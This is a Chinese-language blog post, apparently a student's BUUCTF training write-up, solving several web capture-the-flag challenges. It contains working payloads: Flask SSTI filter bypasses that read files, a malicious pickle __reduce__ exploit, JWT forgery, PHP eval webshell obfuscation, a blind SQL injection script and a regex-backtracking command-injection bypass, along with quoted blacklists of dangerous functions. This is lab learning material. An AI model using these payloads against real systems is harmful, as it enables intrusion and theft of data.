栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

[ 2021-10-03 ][BUUCTF] 集训第六天

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

[ 2021-10-03 ][BUUCTF] 集训第六天

[BSidesCF 2019]Futurella

火星文

  • 复制粘贴搜索框就可以获得flag
  • 看源码

轻易得不敢copy flag

[GYCTF2020]FlaskApp

这里会自动重定向到xss平台,很迷
flask debug可以找到源码

flasky
尝试ssti模板注入

先重定向 点击返回拿到base64编码去解码 同理点击+返回操作


{{7*7}}不可以 {{7+7}}可以 别问为什么 有waf

读app.py

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py', 'r').read() }}
{% endif %}
{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py', 'r').read() }}{% endif %}{% endfor %}
@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
Open an interactive python shell in this frame        
​res =  render_template_string(tmp)

htmldecode工具

from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64
 
app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)
 
class NameForm(FlaskForm):
    text = StringField('base64加密',validators= [DataRequired()])
    submit = SubmitField('提交')
class NameForm1(FlaskForm):
    text = StringField('base64解密',validators= [DataRequired()])
    submit = SubmitField('提交')
 
def waf(str):
    black_list = ["flag","os","system","popen","import","eval","chr","request",
                  "subprocess","commands","socket","hex","base64","*","?"]
    for x in black_list :
        if x in str.lower() :
            return 1
 
 
@app.route('/hint',methods=['GET'])
def hint():
    txt = "失败乃成功之母!!"
    return render_template("hint.html",txt = txt)
 
 
@app.route('/',methods=['POST','GET'])
def encode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64encode(text.encode())
        tmp = "结果  :{0}".format(str(text_decode.decode()))
        res =  render_template_string(tmp)
        flash(tmp)
        return redirect(url_for('encode'))
 
    else :
        text = ""
        form = NameForm(text)
        return render_template("index.html",form = form ,method = "加密" ,img = "flask.png")
 
@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)
        flash( res )
        return redirect(url_for('decode'))
 
    else :
        text = ""
        form = NameForm1(text)
        return render_template("index.html",form = form, method = "解密" , img = "flask1.png")
 
 
@app.route('/',methods=['GET'])
def not_found(name):
    return render_template("404.html",name = name)
 
if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5000, debug=True)

waf

def waf(str):
    black_list = ["flag","os","system","popen","import","eval","chr","request",
                  "subprocess","commands","socket","hex","base64","*","?"]
    for x in black_list :
        if x in str.lower() :
            return 1

过滤了* 怪不得
过滤了flag和一些重要函数
利用拼接绕过

os.listdir() 方法用于返回指定的文件夹包含的文件或文件夹的名字的列表

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
{% endif %}
{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}


拼接flag 利用open函数读取this_is_the_flag.txt

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read() }}
{% endif %}
{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read() }}{% endif %}{% endfor %

学习:
切片+[::-1]倒置

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
[NCTF2019]True XML cookbook
  • XXE外部实体注入
  • 探测内网


 ]>
&exp;123

成功xxe



 ]>
&exp;123

  • 内网存活主机探测

内网探测存活的主机=>获取/etc/hosts文件

无有效信息
获取/proc/net/arp文件

内网存活主机ip=>10.0.158.2

  • 扫c段

## [CISCN2019 华北赛区 Day1 Web2]ikun

要买lv6,这一页没有,下一页也没有,跑脚本吧

标志是lv6.png,因为lv6每一页都会有

import requests

url = "http://06b6c6d8-b926-4e4e-a153-7d40ce739679.node4.buuoj.cn:81/shop?page="

for i in range(2, 200):
    res = requests.get(url+str(i))

    if 'lv6.png' in res.text:
        print(i)
        break

在181页
第一个商品就是,buy it
还是买不了,抓包看看,有一个价钱和多出来的" 折扣 ",

  • 改价格
  • 改折扣
    怎么小怎么改,改折扣成功

只能admin,那看看token,是JWT

知识点:
什么是JWT
cookie,SESSION,JWT的区别
工具:

  • 获得信息
  • 破解密钥
  • 修改信息

https://jwt.io/

https://github.com/brendan-rius/c-jwt-cracker

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

这里有个严重的逻辑错误,改jwt重放的页面是这个页面,不是购买的页面,它都提示了。。。


查看源码:

提示www.zip源码泄露

看看这个模板对应的源码,搜一下This is Black Technology
admin.py

import tornado.web
from sshop.base import baseHandler
import pickle
import urllib


class AdminHandler(baseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))

become对应请求头

  • pickle反序列化

pickle是python语言的一个标准模块,实现了基本的数据序列化和反序列化。
pickle模块是以二进制的形式序列化后保存到文件中(保存文件的后缀
为.pkl),不能直接打开进行预览。
https://blog.csdn.net/u013008795/article/details/89790828
https://zhuanlan.zhihu.com/p/64027434
https://www.jb51.net/article/57661.htm

函数说明
dumps对象反序列化为bytes对象
dump对象反序列化到文件对象,存入文件
loads从bytes对象反序列化
load对象反序列化,从文件中读取数据

二进制流&&文件形式

dump(obj,file,protocol=None,*,fix_imports=True) #将obj对象序列化后写入file中
  • obj:需要序列化的对象
  • file:文件描述符,需要写入的文件描述符
  • protocol:协议 序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本
  • fix_imports:
dumps(obj, protocol=None, *, fix_imports=True)->bytes #将obj对象序列化后返回序列化的bytes对象
  • obj:需要序列化的对象
  • protocol:协议
  • fix_imports:
  • bytes:返回值 序列化后的bytes
load(file, *, fix_imports=True, encoding=“ASCII”, errors=“strict”) #从文件中读取内容反序列化。
  • file :文件描述符,序列化后生成的文件。
  • fix_imports:
  • encoding:文件编码,默认为ASCII
  • errors
loads(bytes_object, *, fix_imports=True, encoding=“ASCII”, errors=“strict”)->从bytes中反序列化
  • bytes_object:序列化后的bytes对象
  • fix_imports:
  • encoding:编码
  • errors

总:

 

好好学习:
《python魔术方法指南》

这里利用的是__reduce__
exp.py

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

become = pickle.dumps(payload())
become = urllib.quote(a)
print become

urlib.quote
这里是python2语法


一键成为大会员

[MRCTF2020]套娃
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
  • php特性
    PHP的字符串解析特性Bypass

  • b_u_p_t
    b+u+p+t
    b.u.p.t
    b%20u%20p%20t

  • 不能以23333结尾,%0a截断

/secrettw.php

看源码

  • jsfuck编码
post me Merak

  • post传参Merak
";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>  
  • 本地
    x-forwarded-for不可以
    client-ip可以
  • data伪协议绕过if
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )
  • re

ord()函数

function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i 

加密了,反写一波
逆向逆向==正向

 
[极客大挑战 2019]RCE ME 

这个过滤好狠

PHP代码执行中出现过滤限制的绕过执行方法

执行函数:

  • eval
  • assert
  • system
  • exec
  • shell_exec
  • passthru
  • preg_replace()+/e
  • create_function()
  • call_user_func_array()
  • call_user_func()
  • array_map()
  • array_filter()

绕过方法:

  • 字符串拼接绕过
  • 字符串转义绕过
  • 多次传参绕过
  • 内置函数访问绕过
  • 异或绕过
  • URL编码取反绕过

1. 异或、取反urlencode编码绕过+蚁剑

异或

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
// ${_GET}{%ff}();&%ff=phpinfo

取反(下一步好像不能一句话)

C:UsersAdministrator> php -r "echo urlencode(~'phpinfo');"                                      
%8F%97%8F%96%91%99%90
C:UsersAdministrator> 

";
$b='(eval($_POST["j1a"]))';
$b=urlencode(~$b);
echo $b;

 ?>

2.通过环境变量LD_PRELOAD+mail劫持so来执行系统命令

antsword jsp环境
永远的痛

https://www.cnblogs.com/yesec/p/12483631.html

[WUSTCTF2020]颜值成绩查询
  • 布尔盲注
/?stunum=1#

2-1
1^1^1
均回显成功,过滤了空格,尝试手工发现式布尔盲注

参考之前的

当时的exp写的二分法比较特殊,这里是正常的写法:

import requests
import time

url = "http://ade85c26-7f56-4212-9d96-d4906f545b19.node4.buuoj.cn:81/?stunum="
res = ''
for i in range(1, 50):
    print(i)
    left = 31
    right = 127
    mid = left + ((right - left) >> 1)
    while left < right:
        #payload = "1^(ascii(substr(database(),{},1))>{})".format(i,mid)
        #payload = "^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='ctf'),{},1))>{})".format(i,mid)
        #payload = "^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag'),{},1))>{})".format(i,mid)
        payload = "^(ascii(substr((select(value)from(flag)),{},1))>{})".format(i, mid)
        r = requests.get(url=url+payload, timeout=3)
        if r.status_code == 429:
            print('too fast')
            time.sleep(1)
        if 'Hi admin, your score is: 100' not in r.text:
            left = mid + 1
        elif 'Hi admin, your score is: 100' in r.text:
            right = mid
        mid = left + ((right-left) >> 1)
    if mid == 31 or mid == 127:
        break
    res += chr(mid)
    print(str(mid), res)

调了好久的payload 我恨啊
timeout根据情况设置

https://blog.csdn.net/SopRomeo/article/details/106148254

这个抽奖不简单

查看源码,有一段js代码

$(document).ready(function(){
    $("#div1").load("check.php #p1");

        $(".close").click(function(){
        		$("#myalert").hide();
    });	     

    $("#button1").click(function(){
    	$("#myalert").hide();
    	guess=$("input").val();
		$.ajax({
	   type: "POST",
	   url: "check.php",
	   data: "num="+guess,
		   success: function(msg){
		     $("#div2").append(msg);
		     alertmsg = $("#flag").text(); 
		     if(alertmsg=="没抽中哦,再试试吧"){
		       $("#myalert").attr("class","alert alert-warning");
		        if($("#new").text()=="")
		     	$("#new").append(alertmsg);
		     }
		     else{		     	
		     	$("#myalert").attr("class","alert alert-success");
		     	if($("#new").text()=="")	
		     	$("#new").append(alertmsg);	
		     }

		 
		   }
		}); 
		$("#myalert").show();
		$("#new").empty();
		$("#div2").empty();
	});
});

看看check.php

 ".$str_show."

"; if(isset($_POST['num'])){ if($_POST['num']===$str){x echo "

抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}

"; } else{ echo "

没抽中哦,再试试吧

"; } } show_source("check.php");
  • php伪随机性

如果mt_srand使用同一个seed,生成的随机数是可以爆破出seed的
原理:mt_scrand(seed)函数通过分发seed种子,然后种子有了后,靠mt_rand()生成随机数。
工具:https://www.openwall.com/php_mt_seed/

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "

".$str_show."

";

生成随机数正逻辑

根据给出的随机数的一个part逆向出

用工具爆破出seed

正逻辑生成完整的随机数

67324128

[FBCTF2019]RCEService

离fastjson-rce更近了一步

  • jason格式写rce-payload
?cmd={"cmd":"ls"}

根据网传源码过滤了很多函数
preg_match()函数只能匹配第一行数据,可以使用换行符%0a绕过尝试对应的换行截断

?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

为什么是这个目录呢?

网传源码:


'; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[x00-x1FA-Z0-9!#-/;-@[-`|~x7F]+).*$/', $json)) { echo 'Hacking attempt detected

'; } else { echo 'Attempting to run command:
'; $cmd = json_decode($json, true)['cmd']; if ($cmd !== NULL) { system($cmd); } else { echo 'Invalid input'; } echo '

'; } } ?>

学习:
https://xz.aliyun.com/t/5399

  • PRCE回溯绕过
import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://8389c34b-492e-4bf1-b4e3-8974b7d57476.node4.buuoj.cn:81/", data={"cmd":payload})
#print(payload)
print(res.text)

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/286705.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号